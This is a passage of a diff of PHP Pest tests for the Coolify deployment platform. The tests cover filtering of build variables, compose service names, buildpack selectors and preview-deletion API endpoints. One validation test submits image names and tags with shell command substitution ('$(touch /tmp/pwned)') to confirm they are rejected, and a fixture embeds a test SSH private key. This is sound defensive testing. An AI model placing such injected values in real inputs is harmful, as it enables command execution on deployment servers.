|
||||
$project = Project::create([
|
||||
'name' => 'Control Var Project',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$environment = Environment::where('project_id', $project->id)->firstOrFail();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'build_pack' => 'dockerfile',
|
||||
...$applicationAttributes,
|
||||
]);
|
||||
|
||||
$application->settings()->update([
|
||||
'inject_build_args_to_dockerfile' => true,
|
||||
'include_source_commit_in_build' => false,
|
||||
'is_env_sorting_enabled' => false,
|
||||
]);
|
||||
|
||||
return [$application->fresh(), $server];
|
||||
}
|
||||
|
||||
function createApplicationEnvironmentVariable(Application $application, array $attributes): EnvironmentVariable
|
||||
{
|
||||
return EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
'is_multiline' => false,
|
||||
'is_literal' => false,
|
||||
...$attributes,
|
||||
]);
|
||||
}
|
||||
|
||||
function makeControlVarFilteringJob(Application $application, Server $server, array $overrides = []): array
|
||||
{
|
||||
$job = new TestableControlVarFilteringDeploymentJob;
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
|
||||
$queue = Mockery::mock(ApplicationDeploymentQueue::class);
|
||||
$queue->shouldReceive('addLogEntry')->andReturnNull();
|
||||
|
||||
$properties = [
|
||||
'application' => $application->fresh(),
|
||||
'application_deployment_queue' => $queue,
|
||||
'build_pack' => $application->build_pack,
|
||||
'mainServer' => $server,
|
||||
'pull_request_id' => 0,
|
||||
'commit' => 'HEAD',
|
||||
'workdir' => '/artifacts/test-app',
|
||||
'deployment_uuid' => 'deployment-uuid',
|
||||
'dockerfile_location' => '/Dockerfile',
|
||||
'container_name' => 'control-var-app',
|
||||
'coolify_variables' => null,
|
||||
'dockerSecretsSupported' => false,
|
||||
];
|
||||
|
||||
$mergedProperties = array_merge($properties, $overrides);
|
||||
$mergedProperties['saved_outputs'] = new Collection($overrides['saved_outputs'] ?? []);
|
||||
|
||||
if (($mergedProperties['pull_request_id'] ?? 0) !== 0 && ! array_key_exists('preview', $mergedProperties)) {
|
||||
$mergedProperties['preview'] = ApplicationPreview::create([
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => $mergedProperties['pull_request_id'],
|
||||
'pull_request_html_url' => 'https://example.com/pr/'.$mergedProperties['pull_request_id'],
|
||||
'fqdn' => 'https://preview.example.com',
|
||||
]);
|
||||
}
|
||||
|
||||
foreach ($mergedProperties as $property => $value) {
|
||||
$reflectionProperty = $reflection->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($job, $value);
|
||||
}
|
||||
|
||||
return [$job, $reflection];
|
||||
}
|
||||
|
||||
function invokeDeploymentJobMethod(object $job, ReflectionClass $reflection, string $method): mixed
|
||||
{
|
||||
$reflectionMethod = $reflection->getMethod($method);
|
||||
$reflectionMethod->setAccessible(true);
|
||||
|
||||
return $reflectionMethod->invoke($job);
|
||||
}
|
||||
|
||||
function readDeploymentJobProperty(object $job, ReflectionClass $reflection, string $property): mixed
|
||||
{
|
||||
$reflectionProperty = $reflection->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
|
||||
return $reflectionProperty->getValue($job);
|
||||
}
|
||||
|
||||
it('filters buildpack control vars from generic build args', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture();
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'production',
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '22',
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server);
|
||||
|
||||
invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables');
|
||||
|
||||
/** @var Collection $envArgs */
|
||||
$envArgs = readDeploymentJobProperty($job, $reflection, 'env_args');
|
||||
|
||||
expect($envArgs->get('APP_ENV'))->toBe('production');
|
||||
expect($envArgs->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
|
||||
expect($envArgs->has('RAILPACK_NODE_VERSION'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('filters buildpack control vars from preview build-time env files', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture();
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'production',
|
||||
'is_preview' => true,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '22',
|
||||
'is_preview' => true,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
'is_preview' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
|
||||
'pull_request_id' => 42,
|
||||
]);
|
||||
|
||||
/** @var Collection $buildtimeEnvs */
|
||||
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
|
||||
|
||||
expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('APP_ENV=')))->toBeTrue();
|
||||
expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('NIXPACKS_NODE_VERSION=')))->toBeFalse();
|
||||
expect($buildtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not let preview docker compose service names override generated build-time service names', function () {
|
||||
$compose = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx
|
||||
postgresapp:
|
||||
image: postgres:16-alpine
|
||||
YAML;
|
||||
|
||||
[$application, $server] = makeDeploymentControlVarFixture([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_raw' => $compose,
|
||||
'docker_compose' => $compose,
|
||||
'docker_compose_domains' => '[]',
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_NAME_POSTGRESAPP',
|
||||
'value' => '',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_URL_APP',
|
||||
'value' => '',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
|
||||
'pull_request_id' => 241,
|
||||
]);
|
||||
|
||||
/** @var Collection $buildtimeEnvs */
|
||||
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
|
||||
$envString = $buildtimeEnvs->implode("\n");
|
||||
|
||||
expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp-pr-241'");
|
||||
expect($envString)->not->toContain('SERVICE_NAME_POSTGRESAPP=""');
|
||||
expect($envString)->not->toContain('SERVICE_URL_APP=');
|
||||
});
|
||||
|
||||
it('does not let production docker compose service names override generated build-time service names', function () {
|
||||
$compose = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx
|
||||
postgresapp:
|
||||
image: postgres:16-alpine
|
||||
YAML;
|
||||
|
||||
[$application, $server] = makeDeploymentControlVarFixture([
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_raw' => $compose,
|
||||
'docker_compose' => $compose,
|
||||
'docker_compose_domains' => '[]',
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_NAME_POSTGRESAPP',
|
||||
'value' => 'stale-postgresapp',
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server);
|
||||
|
||||
/** @var Collection $buildtimeEnvs */
|
||||
$buildtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_buildtime_environment_variables');
|
||||
$envString = $buildtimeEnvs->implode("\n");
|
||||
|
||||
expect($envString)->toContain("SERVICE_NAME_POSTGRESAPP='postgresapp'");
|
||||
expect($envString)->not->toContain('stale-postgresapp');
|
||||
});
|
||||
|
||||
it('filters docker compose generated service variables from build args', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture([
|
||||
'build_pack' => 'dockercompose',
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'production',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_NAME_POSTGRESAPP',
|
||||
'value' => '',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'SERVICE_URL_APP',
|
||||
'value' => 'https://preview.example.com',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
|
||||
'pull_request_id' => 241,
|
||||
]);
|
||||
|
||||
invokeDeploymentJobMethod($job, $reflection, 'generate_env_variables');
|
||||
|
||||
/** @var Collection $envArgs */
|
||||
$envArgs = readDeploymentJobProperty($job, $reflection, 'env_args');
|
||||
|
||||
expect($envArgs->get('APP_ENV'))->toBe('production');
|
||||
expect($envArgs->has('SERVICE_NAME_POSTGRESAPP'))->toBeFalse();
|
||||
expect($envArgs->has('SERVICE_URL_APP'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('filters buildpack control vars from preview runtime env fallback', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture();
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'APP_NAME',
|
||||
'value' => 'coolify',
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '22',
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'PREVIEW_FLAG',
|
||||
'value' => 'enabled',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
]);
|
||||
|
||||
$application->environment_variables_preview()
|
||||
->whereIn('key', ['APP_NAME', 'NIXPACKS_NODE_VERSION', 'RAILPACK_NODE_VERSION'])
|
||||
->delete();
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
|
||||
'pull_request_id' => 99,
|
||||
]);
|
||||
|
||||
/** @var Collection $runtimeEnvs */
|
||||
$runtimeEnvs = invokeDeploymentJobMethod($job, $reflection, 'generate_runtime_environment_variables');
|
||||
|
||||
expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('APP_NAME=')))->toBeTrue();
|
||||
expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('PREVIEW_FLAG=')))->toBeTrue();
|
||||
expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('NIXPACKS_NODE_VERSION=')))->toBeFalse();
|
||||
expect($runtimeEnvs->contains(fn (string $env) => str($env)->startsWith('RAILPACK_NODE_VERSION=')))->toBeFalse();
|
||||
});
|
||||
|
||||
it('filters buildpack control vars from dockerfile arg injection', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture();
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'production',
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '22',
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application, $server, [
|
||||
'saved_outputs' => [
|
||||
'dockerfile' => "FROM php:8.4-cli\nRUN php -v",
|
||||
],
|
||||
]);
|
||||
|
||||
invokeDeploymentJobMethod($job, $reflection, 'add_build_env_variables_to_dockerfile');
|
||||
|
||||
expect($job->writtenDockerfile)->toContain('ARG APP_ENV=production');
|
||||
expect($job->writtenDockerfile)->not->toContain('ARG NIXPACKS_NODE_VERSION=');
|
||||
expect($job->writtenDockerfile)->not->toContain('ARG RAILPACK_NODE_VERSION=');
|
||||
});
|
||||
|
||||
it('builds railpack variables from generic buildtime vars railpack vars and coolify vars only', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture([
|
||||
'build_pack' => 'railpack',
|
||||
'fqdn' => 'https://railpack.example.com',
|
||||
'install_command' => 'pnpm install --frozen-lockfile',
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'production',
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'RUNTIME_ONLY',
|
||||
'value' => 'runtime',
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '22',
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application->fresh(), $server, [
|
||||
'build_pack' => 'railpack',
|
||||
'branch' => 'main',
|
||||
]);
|
||||
|
||||
/** @var Collection $variables */
|
||||
$variables = invokeDeploymentJobMethod($job, $reflection, 'railpack_build_variables');
|
||||
|
||||
expect($variables->get('APP_ENV'))->toBe('production');
|
||||
expect($variables->get('RAILPACK_NODE_VERSION'))->toBe('20');
|
||||
expect($variables->get('RAILPACK_INSTALL_CMD'))->toBe('pnpm install --frozen-lockfile');
|
||||
expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('curl wget');
|
||||
expect($variables->get('COOLIFY_RESOURCE_UUID'))->toBe($application->uuid);
|
||||
expect($variables->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
|
||||
expect($variables->has('RUNTIME_ONLY'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('builds preview railpack variables without leaking stale nixpacks vars', function () {
|
||||
[$application, $server] = makeDeploymentControlVarFixture([
|
||||
'build_pack' => 'railpack',
|
||||
'fqdn' => 'https://railpack.example.com',
|
||||
]);
|
||||
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'PREVIEW_BUILD_FLAG',
|
||||
'value' => 'enabled',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'PREVIEW_RUNTIME_ONLY',
|
||||
'value' => 'runtime',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'NIXPACKS_NODE_VERSION',
|
||||
'value' => '22',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
createApplicationEnvironmentVariable($application, [
|
||||
'key' => 'RAILPACK_NODE_VERSION',
|
||||
'value' => '20',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
]);
|
||||
|
||||
[$job, $reflection] = makeControlVarFilteringJob($application->fresh(), $server, [
|
||||
'build_pack' => 'railpack',
|
||||
'branch' => 'feature/railpack',
|
||||
'pull_request_id' => 123,
|
||||
]);
|
||||
|
||||
/** @var Collection $variables */
|
||||
$variables = invokeDeploymentJobMethod($job, $reflection, 'railpack_build_variables');
|
||||
|
||||
expect($variables->get('PREVIEW_BUILD_FLAG'))->toBe('enabled');
|
||||
expect($variables->get('RAILPACK_NODE_VERSION'))->toBe('20');
|
||||
expect($variables->get('RAILPACK_DEPLOY_APT_PACKAGES'))->toBe('curl wget');
|
||||
expect($variables->get('COOLIFY_RESOURCE_UUID'))->toBe($application->uuid);
|
||||
expect($variables->has('NIXPACKS_NODE_VERSION'))->toBeFalse();
|
||||
expect($variables->has('PREVIEW_RUNTIME_ONLY'))->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,108 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'docker-registry-validation-api-test-'.Str::random(6),
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'network' => 'coolify-'.Str::lower(Str::random(8)),
|
||||
]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function dockerRegistryApiHeaders(string $bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
function makeDockerRegistryValidationApplication(array $overrides = []): Application
|
||||
{
|
||||
return Application::factory()->create(array_merge([
|
||||
'environment_id' => test()->environment->id,
|
||||
'destination_id' => test()->destination->id,
|
||||
'destination_type' => test()->destination->getMorphClass(),
|
||||
'build_pack' => 'nixpacks',
|
||||
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
], $overrides));
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} docker registry image validation', function () {
|
||||
test('rejects shell metacharacters in docker registry image name without persisting them', function () {
|
||||
$application = makeDockerRegistryValidationApplication();
|
||||
|
||||
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]);
|
||||
|
||||
$response->assertUnprocessable()
|
||||
->assertInvalid(['docker_registry_image_name']);
|
||||
|
||||
$application->refresh();
|
||||
expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
|
||||
->and($application->docker_registry_image_tag)->toBe('latest');
|
||||
});
|
||||
|
||||
test('rejects shell metacharacters in docker registry image tag without persisting them', function () {
|
||||
$application = makeDockerRegistryValidationApplication();
|
||||
|
||||
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'docker_registry_image_name' => 'ghcr.io/coollabsio/example',
|
||||
'docker_registry_image_tag' => 'latest$(touch /tmp/pwned)',
|
||||
]);
|
||||
|
||||
$response->assertUnprocessable()
|
||||
->assertInvalid(['docker_registry_image_tag']);
|
||||
|
||||
$application->refresh();
|
||||
expect($application->docker_registry_image_name)->toBe('ghcr.io/coollabsio/example')
|
||||
->and($application->docker_registry_image_tag)->toBe('latest');
|
||||
});
|
||||
|
||||
test('accepts valid docker registry image values', function () {
|
||||
$application = makeDockerRegistryValidationApplication();
|
||||
|
||||
$response = $this->withHeaders(dockerRegistryApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'docker_registry_image_name' => 'registry.example.com:5000/team/app',
|
||||
'docker_registry_image_tag' => 'v1.2.3',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$application->refresh();
|
||||
expect($application->docker_registry_image_name)->toBe('registry.example.com:5000/team/app')
|
||||
->and($application->docker_registry_image_tag)->toBe('v1.2.3');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\General;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
InstanceSettings::unguarded(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0], []);
|
||||
});
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
$this->privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
'private_key_id' => $this->privateKey->id,
|
||||
]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first()
|
||||
?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']);
|
||||
});
|
||||
|
||||
test('existing application buildpack selector lists nixpacks before railpack', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'build_pack' => 'nixpacks',
|
||||
'static_image' => 'nginx:alpine',
|
||||
'base_directory' => '/',
|
||||
'is_http_basic_auth_enabled' => false,
|
||||
'redirect' => 'no',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->assertSeeInOrder([
|
||||
'<option value="nixpacks">Nixpacks</option>',
|
||||
'<option value="railpack">Railpack (Beta)</option>',
|
||||
], false);
|
||||
});
|
||||
|
||||
test('existing application shows railpack beta label in build pack selector', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
'build_pack' => 'railpack',
|
||||
'static_image' => 'nginx:alpine',
|
||||
'base_directory' => '/',
|
||||
'is_http_basic_auth_enabled' => false,
|
||||
'redirect' => 'no',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->assertSee('Railpack (Beta)');
|
||||
});
|
||||
@@ -25,8 +25,8 @@ beforeEach(function () {
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = StandaloneDocker::firstOrCreate(
|
||||
['server_id' => $this->server->id, 'network' => 'coolify'],
|
||||
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
|
||||
['network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Application\CleanupPreviewDeployment;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Bus;
|
||||
use Illuminate\Support\Str;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Bus::fake();
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->bearerToken = createTeamApiToken($this->user, $this->team, ['*']);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
CleanupPreviewDeployment::shouldRun()->andReturn([
|
||||
'cancelled_deployments' => 0,
|
||||
'killed_containers' => 0,
|
||||
'status' => 'success',
|
||||
]);
|
||||
});
|
||||
|
||||
function previewAuthHeaders(string $bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
function createTeamApiToken(User $user, Team $team, array $abilities): string
|
||||
{
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $user->tokens()->create([
|
||||
'name' => 'test-token-'.Str::random(6),
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => $abilities,
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
return $token->getKey().'|'.$plainTextToken;
|
||||
}
|
||||
|
||||
function createPreview(Application $application, int $pullRequestId): ApplicationPreview
|
||||
{
|
||||
return ApplicationPreview::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'application_id' => $application->id,
|
||||
'pull_request_id' => $pullRequestId,
|
||||
'pull_request_html_url' => "https://github.com/example/repo/pull/{$pullRequestId}",
|
||||
'fqdn' => "pr-{$pullRequestId}.example.com",
|
||||
]);
|
||||
}
|
||||
|
||||
describe('DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}', function () {
|
||||
test('returns 401 when no bearer token provided', function () {
|
||||
$response = $this->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
|
||||
|
||||
$response->assertUnauthorized();
|
||||
});
|
||||
|
||||
test('returns 404 when application uuid does not exist', function () {
|
||||
$response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
|
||||
->deleteJson('/api/v1/applications/nonexistent-uuid/previews/42');
|
||||
|
||||
$response->assertNotFound()
|
||||
->assertJson(['message' => 'Application not found.']);
|
||||
});
|
||||
|
||||
test('returns 404 when preview does not exist for the application', function () {
|
||||
$response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/9999");
|
||||
|
||||
$response->assertNotFound()
|
||||
